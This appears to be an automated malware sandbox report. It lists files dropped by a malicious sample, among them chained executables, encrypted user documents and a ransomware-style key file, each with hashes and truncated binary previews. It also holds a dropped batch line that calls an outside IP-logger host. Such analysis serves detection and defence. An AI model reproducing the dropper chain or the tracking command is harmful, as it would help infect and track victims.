Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1bc.1bc.1bc./0...bc./0..'bc./0..bc.....6bc.1bb.bc./0..0bc./0..0bc./0..0bc.Rich1bc.................PE..L......b..................@..d{......>........@...@..................................B.......................................@.P....`..X.............A.............0...............................P...@............................................text.....@.......@................. ..`.data...x.y...@.......@.............@....rsrc...X....`........@.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C06.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	767488
Entropy (8bit):	7.745848258017554
Encrypted:	false
SSDEEP:	12288:jqGw0v5K8BI2tcgBjM9m5hS+3HWnEpulYCQgecjePoAoE7y8VJXb6F9f:jqGw0vxbthBj+sh5HWcul2KePkE7y8Va
MD5:	C2AB34E22731EDA5D7BE4450C6D8360F
SHA1:	674696AF77F6AC0125DAF2B616F86FFC73270213
SHA-256:	A37187C1B3FEDCA26B6416E10CDAB4FEAE86E6A5F7140487F3F2D7F2FA088E40
SHA-512:	85A98862B243E6B0397478A4D2D5395F9155DBF4F4D478EA965C4AF7F0E8A554597971E63FB6B92C2E9690C4DB0C074977A362971B4A580D97DE300CE34380D7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B....}.Q.}.Q.}.Q./eQ.}.Q./sQ.}.Q./tQ(}.Q!..Q.}.Q.}.Q.}.Q./zQ.}.Q./dQ.}.Q./aQ.}.QRich.}.Q................PE..L......d.................N..........+Z.......`....@.......................... #......Z......................................$R..P.....!.X.....................".\|... ................................H..@............................................text....M.......N.................. ..`.data...db...`.......R..............@....rsrc...X.....!......p..............@..@.reloc..^....."..0..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D900.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	598016
Entropy (8bit):	7.785877335300717
Encrypted:	false
SSDEEP:	12288:FeRtBVREkMfGNEEmMdMhEecxmG8GBfrhx30UW:WjVRE3GeedjecEG8Crh2B
MD5:	FF43AAE7083352DC2D8251C1E622C737
SHA1:	14164AF2CA3FA106E9A95152BBC810C7B98D7FAB
SHA-256:	0634D2AFEE669D7D5C5193EC04EF7DB10B5B9EDC9DEAA3731143687B8221C6B5
SHA-512:	FC1FAA8A3CDDE70EC9AF8863783C839596533C7E5B43D2155F8EE47E8D7B07399A045700F3412BFCBF9C217CA682F3955F1360275FACC2DE3F275BD83961589E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .'8d.Ikd.Ikd.Ik/.Lje.Ik/.Jjg.Ik/.Mjw.Ik/.Hju.Ikd.Hk..Ik/.Ajn.Ik/..ke.Ik/.Kje.IkRichd.Ik................PE..d..._.............".................P..........@.............................0............`.......... ..................................................U$......D............ ..0...x...T...............................@...........P... ............................text....~.......................... ..`.rdata.. $.......0..................@..@.data...............................@....pdata..D...........................@..@.rsrc...U$.......0..................@..@.reloc..0.... ......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\tlatest.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\D900.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.661263085029031
Encrypted:	false
SSDEEP:	3:/qQKWYD0dCCAhs:/kL0dCCAq
MD5:	00BCD37E362E6D90E1285251FC5450E4
SHA1:	079B1D1F632603581AEC90D970B0D3CC75947784
SHA-256:	39F99A25B3F8AF6CF697864B9E0B3F0D8B949B3D8BC688FB9D94A769013369C2
SHA-512:	94301B2AAC8A8A9332196AC42CB4333A149A60DFA20B182ACBF1E1B69C779C72212E80EAD055B0AC8BACF09B1625822BCBD84A85B49007DC8AFD0E013EB0CE02
Malicious:	false
Reputation:	unknown
Preview:	@ECHO OFF..start https://iplogger.com/2Xtsj4

C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\D900.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	536064
Entropy (8bit):	7.8864901669522105
Encrypted:	false
SSDEEP:	6144:iahOxMB67r1l/94IuKHEE8NAMwcfVHed9VuxEe2Va1xmGbGD75Gfz24hX2r65OLb:iiYMErWMEEyEd3cEe5xmGbGMfrhXX3x
MD5:	8D87A6A419052B5AB9E38574E0F8B9E2
SHA1:	9417ACECB32489D735CBB57A3E10489E0E2E2BAE
SHA-256:	4F081CA6DAD29C4528D40A56EDCCC0859778D055D25B4FB8B129746C9C9A7EE1
SHA-512:	B3CBC7F9D45F0F34ADA582774FF42B8DF163C996112C58D2FE1DDE89F6300785622544810332CCF9A4D390984D8626F68F3712164FA9D83E3A13C65E44399C7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6..7...6..7...6..7...6..7...6...6...6..7...6..o6...6..7...6Rich...6................PE..d................."......\|.....................@..........................................`.......... ......................................<.........../}...................p.. .......T...........................................(... ............................text....{.......\|.................. ..`.rdata...".......$..................@..@.data...............................@....pdata..............................@..@.rsrc.../}.......~..................@..@.reloc.. ....p.......,..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	380416
Entropy (8bit):	7.657852227914962
Encrypted:	false
SSDEEP:	6144:AahOWp0yN90QEeLIWWzNXr5T3z2xEe7Va1xZ/Q+vXnyIM1st4he2X:Aimy902Il5XlEEecxa+vXVM1dheW
MD5:	7ACDC65B3D56FDE4FDF6D2BAD8E9F0CA
SHA1:	D34FD8FA8C8D2834B2EFBC5C06036F7F845FC974
SHA-256:	D303191F76A9EB7059C4B173424D9639E61DA3C3B4526BAE73CEF68B5E356AEC
SHA-512:	4308ECC57AAEC9E7CC6E541621954FD77F2402831E25C53341945108073F5E20159A916190F8E25CCE75A39F87D9CAD33A3F49B3E96A0CDC27CF1BD44AA9FAB0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6..7...6..7...6..7...6..7...6...6...6..7...6..o6...6..7...6Rich...6................PE..d................."......\|...N.................@............................. ............`.......... ......................................<...........\|....................... .......T...........................................(... ............................text....{.......\|.................. ..`.rdata...".......$..................@..@.data...............................@....pdata..............................@..@.rsrc.... ..........................@..@.reloc.. ...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	368464
Entropy (8bit):	5.637040301491152
Encrypted:	false
SSDEEP:	6144:SGDphnfNmAiToQrYbJMVwFWllwLYGVqgjbOMZsA/4TT:S4h4ZIJMVwFuldGVvsg4TT
MD5:	E5BBB887A117F13B0919FA9074A2BC2B
SHA1:	84FF45E0C77027A972CF3150D984BBD5BB8055F8
SHA-256:	82877B748B1F1A87370ADED74A2E0F16C1C695CFAF73E86D233ABBBAA784C0DD
SHA-512:	52449603725E2BA0025B1EA670123C02AE9B6F1CDE5ABDDE84D4059D02CC2AF9D69369C4C7475880760F2ED1C0E2FB0AACA93EEA9FA24DF4A636824D38D0EB9C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....(e.....................\|.......+... ...@....@.. ....................................`..................................+..K....@...y..............P............................................................ ............... ..H............text........ ...................... ..`.rsrc....y...@...z..................@..@.reloc..............................@..B.................+......H...........0.......V...,...................................................(.......(.....0..A....... ........8........E....A...-...............e...........$...8<.... ,s..(....(....9.... ....8....s....z.....s...... ....8....8.... ....~5...{]...9}...& ....8r.... .s..(....o....:.... ....~5...{x...9I...& ....8>...8.... ....8/......s...... ....~5...{+...:....& ....8....... ....~5...{Q...9....& ....8....82... ........8.............(^...:........o.....&~..........~......0..

C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	366416
Entropy (8bit):	5.632704407068337
Encrypted:	false
SSDEEP:	3072:XxjUC3iEgrVr7QbKxQjjmcdiZanICG+6O6AfxI/ZpsEKxtTT:XhUCyh7EKxQjHiKp6AZI/Ps9TT
MD5:	87D1A8D56CE3307AECE3B799A7B1A9F2
SHA1:	F0409CE1D87F6FFD63FDF59FDF7584B151889D05
SHA-256:	062165484FCB92386DE75A68B3E294B4589EE5591188263706E7799543BFE6A3
SHA-512:	24065D105582240EC9A76EEF411B540E6634615B34F4EBE5510C83B1BC85736C41B208E5C99FAB1567965BC7A28B7DA4D44C55C01629B9C99248C44F66743098
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....(e.....................\|......."... ...@....@.. ....................................`.................................."..K....@...y..............P............................................................ ............... ..H............text........ ...................... ..`.rsrc....y...@...z..................@..@.reloc..............................@..B................."......H.......T...............8...................................................(.......(.....0...........(.... ....~K...{6...:....& ....8....8........E....V...U...................E...J...................8Q..........}.... ....8.... K./O(...s....z. .........}.... ....8.....:.... ....8v...*.{........h. ....~K...{5...:U...& ....8J...8.... ....~K...{L...:1...& ....8&......?.... ....8.......X.. ........8......}.... ....~K...{....9....& ....8....... ....~K...{R...9....& ....8.....{

C:\Users\user\AppData\Local\Temp\IXP002.TMP\calllcustomer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	367440
Entropy (8bit):	5.6539696096344745
Encrypted:	false
SSDEEP:	3072:V7mplU9F3r1LaQV6r3TE0Tz0klVG3J/HiKEPPbZKO6M3Uc4xHUirGn9L5EGctTT:Awdr12O6r3z1PGtHiVHbZr3L5ATT
MD5:	FDEE3E008188FDB5158FFEF4B1129A5E
SHA1:	4F5C8077075F3CDC2E07ED5453E4C7D8593EDE21
SHA-256:	73259DF5CA7AED3E33FFB61AC44EA5D0A33550075393CCC0246A0AF24DD7FB62
SHA-512:	DE93F569ACD42AD33B7E412D1312CE01F7DCEF8431728ADC24AD48984F55027E32D09EE30CFA86F1D163B3B8C2DE9FB7190DFABBA44CB82A229C4E16CBAB3545
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...G.(e.....................z........... ....@...... ....................................`...@......@............... ...............................@...y..............P............................................................................ ..H............text...`.... ...................... ..`.rsrc....y...@...z..................@..@........................................H...................Y.......................................................(.......(......(.....0..(....... ........8........E........F...........9...c...Z...........8..... ....(_...(....:@... ....~A...{L...9....& ....8....... ....8.......s...... ....8}...s....z..8.... ....~A...{+...9[...& ....8P.... /...(....(....9=... ....81...8.... ....8"...8K... ....~A...{q...:....& ....8.......s...... ....8..........(_...:........o.....&~..........~....*..0..f........(.... ....~A...{L..

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	560
Entropy (8bit):	6.00158160967624
Encrypted:	false
SSDEEP:	12:YGJ68mHdLyfgIhUfz5/Z5ecpCSfRDDPp5gC55Nqu:YgJm9m4fz5/3DDXgO1
MD5:	79377E9553439EC5A0A137FAA7D2B934
SHA1:	B132ECD15C177A13E677AE11BCE7D3BB6EE395F5
SHA-256:	A0C34588383298209F2C04BBA4B3EE4C9DAA145839C64D3A9CFA55C9C18F1EE8
SHA-512:	7A5C35B901060353B64E4AD641992BED5451A1B2B0FC6CFD5DA2D06F4C542AF223FE0D6E60A7CF205979BB516B925E4555C06E481EF6D21568C2439006FCD76B
Malicious:	false
Reputation:	unknown
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0TA5aJGFmyQ5q5ADeB\/a\\n\/WQlloHZgXWCUHpWl+6RBHBc96uMiEvcq0f7vpdLrF0Xue8BANMmMurbpzbg1639\\njuMAz041Iu+3+i3A+l3pg0z4HbR1UwA\/sOMqVAO+ab0L2FgwhnSl2qJjb+KJtzBj\\nzlmCoZP6fwVCW4JSfd\/RFSXrpKqM3bL6HD6hXiI5XHlm4VA57TN\/oTRAOGOVsfGN\\n+J7IsRMnWEU0b4ZQBxlb0eH9tYBXWid32eo6OND+vkXUZcahlbzE+9xHf9KKJeA9\\n5LirSH0Ru9u2DTGdK86gRyMYNTbkeEA67bSyKHL42zYS+5\/1MEp0Y98LlXHIa7jk\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K"}

C:\Users\user\AppData\Roaming\dbhhfug

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248887
Entropy (8bit):	7.9992891768746865
Encrypted:	true
SSDEEP:	6144:SxChsQE0ZPVQPzSpztcZKI+MBnMV82MsijeuEUaLLR+k2vwt1UUAG7wk:oChsQE8PVozktclpfRsu/EUaLL0k2vUn
MD5:	841A9C317BB47C60FE64EE267FF793FA
SHA1:	8E39C8A59EB438A58B99433C25EB65EC3408AAE7
SHA-256:	1DFCED621B1F000A30F90B3F9094A5E0CEBB193D3216839EA6947E33A8BD455F
SHA-512:	D6B59CBD10CCC49BD2710E161C3E8169A082E134422983ED4742DD8A17FCAB0073A723445030288DC4AD9F32476C4741E3C756EEF389D8A0479C5C55B25493C9
Malicious:	false
Reputation:	unknown
Preview:	Mn....8K.6.o...}..[b.~.R#E.<x5B..4v...{.^l....3.....m..._..>Bhh.O..G...Lwyv7...+.).l...e5b.T....._.,..x."..R].....g.....Y....V..Y. _.....T(...>..Y.....d.....W..X.o+w.C..s.r..gS.,....c.B...<.u+}..v.z.#g....B\.;...I.I..... .eRw..qX.[....a.?#.n'w]...H.3.....A4 jQ...M..y....h5......H..}g..u..;l.E[.K .....U......F{./.e...[.<....H...N...8=._..t....E.. ../S....:)....{..{.n(W..xE....8USKO.H~J........\|\|.;.1N.V..,7.K.....i...."O....T..v..-.&...?..P...l5.h...L.y)%.f..d..f\|..D`/.IN.......E_...8(.....A..(.....i._.%..X.?L.........5...r..>.....T....=.....\.b=.bf.s.:..%.8....A..j.#p...)]@.v.O......."...[.......a(.e.S.q..UA.=.F^.6.p0........\|*...$.. s.I{..`.T..V./.NA.w......V.%TE.~A.f.~.s7....,..].8u..)......g...>.8.....T.....Z...`-...+.R...3.......M&l..Hk4.E..Nl..W.at..\%......AE..G.......E..8.....?i..l%xkh.F\...;..O .......B3..K.t#.i..y..Fng......3...m!...EbKh7p..n...Y.i..L.B...4...l................$...A.v.I.W.-#.3.....&}L...2. "........1..

C:\Users\user\AppData\Roaming\rahbahw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244224
Entropy (8bit):	6.744693294191257
Encrypted:	false
SSDEEP:	3072:u1DHuxXJqVzHOab+Hdc2J9+UnkPQadIbGjK57qRXpg0TrBR:UbuxJqVzuy+9JfkY4IbGYqRFT
MD5:	86A01AD03723CC198298DBEA06A107D2
SHA1:	438A49067B526BBA0DE81F51018AC7CBDE7910FE
SHA-256:	7A142C9A74F8A731D81800F21BEC205E7342F0D89F598A6314FC117246260482
SHA-512:	349CE962F45D27656C9D5BD4233E0922153A71CBA61061DA576BE6A4B4F1DC1257A648644108201A763809E861DD79EEEB4249F83A2CD94C12DDCDD3EC5DBAD9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1bc.1bc.1bc./0...bc./0..'bc./0..bc.....6bc.1bb.bc./0..0bc./0..0bc./0..0bc.Rich1bc.................PE..L...]e.c.................X...........>.......p....@..........................0..............................................$[..P.......X...........................0...............................P...@............................................text...2V.......X.................. ..`.data...xb...p.......\..............@....rsrc...X............z..............@..@.reloc...(.......*..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\vdhbahw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244224
Entropy (8bit):	6.756528384061032
Encrypted:	false
SSDEEP:	3072:CS3FadSScKYWoJ98FEavp9JONrll57W7pg0TrBR:DVaMSBYWaIEavp9JONrljWBT
MD5:	A235E0AC41F596B68F029EA73E5C5FBB
SHA1:	0A32B671B9E0779286AADE3E0CED081BEBEE0545
SHA-256:	E629FCF41DE2187CAFD4C8C38B1E9408A5C521D29459971BB96FAE5DA26FA9D5
SHA-512:	488188AA814EA2EDFB739219476CA5032769E0F9DBAD89EA6634C11B7476EDAED2D00B05580EAD7C8C1B3F0DE6AAF602A657ED6E91176AF94119D6A95D8B84A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1bc.1bc.1bc./0...bc./0..'bc./0..bc.....6bc.1bb.bc./0..0bc./0..0bc./0..0bc.Rich1bc.................PE..L...##.b.................X...........>.......p....@..........................0...............................................[..P.......X...........................0...............................P...@............................................text....V.......X.................. ..`.data...xb...p.......\..............@....rsrc...X............z..............@..@.reloc...(.......*..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\vdhbahw:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848877365798849
Encrypted:	false
SSDEEP:	24:5kuJmkHO8UgPhfmRDlnkjQuiJOr1RMPvj2X3kjBCFeKbolmLkPnCNMMEobD:G/kQgPYll2QQEXCXUjBjgqnCNMoD
MD5:	CC6C782D0F694FE6D8C3CB834F0871CD
SHA1:	681790EA1F5EF2E147A41ED2E58B41FFFF21F839
SHA-256:	B67FD2E21CB8C25560F0F5D5C2BF8E4E5E0960B78E759BAF4F933B147BFA807C
SHA-512:	78AE6A064FAA51942A8CCCE0E3E152C10E8CB756092F69653E74C6266D2569331489EBFE56089C3047209072B753E75211BA4A95E7F0468B59D5C79BE5B0AE40
Malicious:	false
Reputation:	unknown
Preview:	DTBZG..}l3.1.vSi..+<j>.o..c..o,...F...{'".#....".Uf..Y@.z.'tb......D'..,.k.g.,y...x...9rK...w.G.~...`xv.$Ql...=o..J.D.26$7..H!.v.L..SJF .Q.-8+.38.G...3...a..vid... ..C..1.`ub?....!...eR7.....L.N.K.i.c..!.....U......Az.=.QZr...N.+.0.Q...(,.I..z..'.F...QZ...z.\|-.........l1..>&.m..*{EL...~5}.n.GV)y......@.N..+g..qu...b..=..:.sM.Y9.......ndw_....}R...T...k.).....r..W..........8.rvg.O.'..G.d.c.N...x.....Q[R\|u<....(?..8E.q1T.)..hNF.g.?..F_...D...t."72{$......?.o..Jq...G.Vo.\[....0...t.C.6..5.9.u,.j...5.....ZIQ._.?\|...>R.r.K...r.....a..._.D.S/......B..~\..5.....A.......2.....2;...M.7.5...!..a.....@.......B....7.P...'8`...[j.u.vr..hUNgf....1...V.,d.B..]O..$.M.....n%.aV_F..4.CDv..-A.<obxz.$...q...B..#5..<...X....Q.w..R>&......5...M...j.SJ..^.....YZy....9...^.....(..o......i.4..?..<f...n.0._.....0....%..tE...s.Y^g.'}...-.y^...7...K...H....G.1....eF\.q..r..c.\.x..[D..."...8..G....TNt0.#...#.y........Sf...&..[.s...2G.T5{.....#..l...Y4.);M..I..

C:\Users\user\Desktop\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851209547452362
Encrypted:	false
SSDEEP:	24:zSAr3sX2hEtbf06bo1IefameTyq8EVYNabQBxIz1OTts7L3cSRaN8WFbD:mAYXSEFlgtfameT/5VY+oxIAt+sSeD
MD5:	533D1A20A92A17B210294EA9F0341F83
SHA1:	AB2F6A3C4A997A460C8853DAAAB5F603CEC4993F
SHA-256:	35D75FE27F093D3E85C28DF8CCABEF83AE96DAF945243379CC0B3CE7314A8EF7
SHA-512:	54D8F7370CEB7088BEFFDA6EF1FAE7DDE3573C74001780C790640E0248040F22C8282578617454D45ECAEFD1338A473BB16FB42FF56BD9120D4C9CEBAC1A231D
Malicious:	false
Reputation:	unknown
Preview:	DTBZG!.A......+3.h.d..z.3t..db.\.0...KA.I8...9PKsh_......D..chN..R...YN,..a......Zu..i..Y.....bRi3.P....G.....E.0. ....elh.5 .jQg...[.O....R.{ ...3}.5.....Z.R.ZR.:....8%....'...B..I.........E.4....&..cP.x..\|&....X...s}..V0..Y........G.{3...H5...:Xc.z..~...C..K^..0u....C3.....i..Q..X. .._.n..U......hja..\|..y.J6.l\|.~:.J.^..<..8..$f.MPCJ'......V.]....K.$GX%,U....`.....K...9k...o.?.0..4...~KaxGS ...C^Q.}l.N..Q'P...._(.q..$... ...w=.l6.J..........6.j..Q..P.>.u.'....1$.c.._..#.u..z..fA..2......{>.~.........I.....K...0..K.g.;3{r.%.j[I..$.O....DfPM..n. M..fm.>....e......UN........n>_i.T+...St...J.u.w......e,..m..!e....;..i.........7.).L!)....z...]..`{Nt..*...0..d+........`.~.~..U......G.".M.N...Y.Y..\z..\...^X/...\..........,...j..g........\...3..@D..Q.#S........R..{.!.../,x.\|.N..q...x..}..V.../.y..D.#..M.,...e<..\.'...'..._...U..0.".. ......D.!J.=.8U...M.z.....".Ou.M..,.{}..1.Xz..a...)-.r=.~...v..T......n.._d[...eR..2.x. ...px.

C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83874591239383
Encrypted:	false
SSDEEP:	24:3QJJu3s/myWBCs1npLhLmPCnQ4iuLrsdZlEIt7jdzD/scFjjbD:3YJuSWgGLaCnQzwsjlEIljx/TFj3D
MD5:	BBB28A33D8D80306DBBF5D8888197EA9
SHA1:	4FA5C6DB4017C02D6FE923F631D7728ED095D99D
SHA-256:	9597BF62DB498E2C4E953272BBC2A00BEE206AFF4F58B409D3572E5E46E1CA96
SHA-512:	6BB5E934481C12B65F57CDB1E98CD7B7694B302250383BF1E85BA72073F4907FD51D54C55786B15D6497FB2CE3BE279134491D89CFE956A962F2BFD67C324A52
Malicious:	true
Reputation:	unknown
Preview:	KATAX...+.......^.,..h.K.G..Y.8;.>.QNo...]sC.)7.A.....].F......l..z%I.z...u...W..~...sk.\|.z....yV...$....2p........i......g..i....XeX....gj.A....n.<..Rj..o.k.`p...+...... ".?..wv...,z6H .-.k.WM1......D4...95....:........E.m0....JTf..=x.Y[...b..)FB.yl*.L.p.po._)3...u^..!...s_.."c...K...p.3[.:....x...X.3..k...i.....)nrJ.$Wz.....C.&\|...<..<2.v..._?\y..#.".).B.m1...s.b...QS:.....~...e.a.......2+!\..9.e.A.....{}B.s.8s.....+!T./..}..h..TC..Z.V.u..o..jV......E.3.#.b.....=.n)A4W..t..2kk..s.f......G....._3u.Uu.2e...i..D......H...i....i..(+Vo..'D.V.i.N..,Rk.jPu.2C.J.......7.u.FeJ.x... ...$.r..Z..5........nT'..........:1J .Y..1.q...4...u.L.f..R.^..4.?4.h!tQm..E8.p.4BOwh.9..]....Q.^M......D..`..2....p"+.o.d..D.u.{W...R.k.8..,...@.Q/F#^.k._pafX..S.vD....${............-.....XG..>V.m0...L.\2..LL.h.(I!.)....x......ss8>.T.]L....+.8Gv...^.=.....f}.\|..+...-c........K.ib..!@.y.eg=.jrl@..f3...j.G...l}.\....\|.....J!p+X{CK.H.Y..8.....q........i.~.B~.'7.....4SA...

C:\Users\user\Desktop\DTBZGIOOSO\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847162819483815
Encrypted:	false
SSDEEP:	24:okYUG61JcFTOJw0n3opQBJx3thTiFmnkq7FpaDZSsrcRg7I/2PcCc16HbD:hb1JcFh2BJtzio7zaDZSUGN/2y167D
MD5:	585402F36A080D42985BCB819CC522F2
SHA1:	A025FCB6D00807B543B4DDEC43D045B5F52DF5D4
SHA-256:	ABCFBD446D5081675BD5A4BE5CFE6889EED96E9AF966D4793B565B20F6B4AF08
SHA-512:	76FB54AA627484D6579A087CD1F91A5A245EB8D4331CEEA62C8157A9B92A1F96EB53E9011D62F2B342C5A9AE0794B817BCB8138BF905B7E5D108FF70545AAB67
Malicious:	false
Reputation:	unknown
Preview:	ONBQCB}.ocO.i.E..@..,2....6{.d2......DJ.H....p./..6F.l..q.CE.Q;.-.@.).Lt.O.u...l.e....B.......g....2E...U.g.....&...~K..,>..Cn.G...0B....#.c.v.R.}z"...BTV.\...v#".G&?+.x.h.>\|.n...bFNw.Gn...=...oz.......l4.J.r..A..t....4go..l).Kl.....4J....9.f...6<..w..T...9.AQ:ij..... .........$`a.#..:(.{...x..IJ..O..9......+.F.....g..~...Y.N.......M.#..S.9..m<.{...1.4#f.iMn._..I?..e.1Pu0tSs..k..W..w.q...5u.Do.P.Q...Q.E.1..R..m....G2M......mG......&k3.e.jk.^....4~..B.h..C..s.\|......S.iJ.!....m8.#+}U.......P.....t3.VfJu.~..2tlV....:..l..p0.b}.h....Se%+..!=......m......6,V.....y.I.t..8..W.~2.."..g\..48... ...e.\.L1..j.(.~.y.4B..d.a.V....$.....J.A.>Fw.T.....0.... .5..0....0..k......4.)...v.9M.o.x.7e.?d.T.3.. K.i.....h.q .5[..v..;...}{..>.....a>..o.oFP.3e.wH.c...KVZ.F...._.z..^Rl?+.uW..s.{7o.DV..<..4..&.Y.l~.4.a1.b.\....,.."d..,......-..Z. ....<.....D...:..Lw..a.**.?....T2jS.K!0O..._,.3W...g,..I.=5...>..#...Am.^U.`....&x..Va=....f}.m.Q.:~\....F]...e.2

C:\Users\user\Desktop\DTBZGIOOSO\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858162671870664
Encrypted:	false
SSDEEP:	24:G7oDK+lyFMuA9vmK7mn0LajlAqEc5u3u+wBKm04dmX+RUJ7hAkXK3u7o1bD:GePuA9vmKMZqoEe+OZPRM66ko4D
MD5:	7170ADC94A7B509B0668642A33829C6F
SHA1:	63CA20E9997A0BF9F197C0DFFCE6D69E43A78B02
SHA-256:	231AE1211565BA98335C2EF480E88A777966C4D41F89D2BAAD4DA1216E4BD06C
SHA-512:	18FF3FB5914BF0FC5C2557A7D54B4233B2219962B1EA359FF9666313390B8FEFA8FC3254C9F8583C40ED056844D75D3809428266208EDE8FB033FC5E40BE1C23
Malicious:	false
Reputation:	unknown
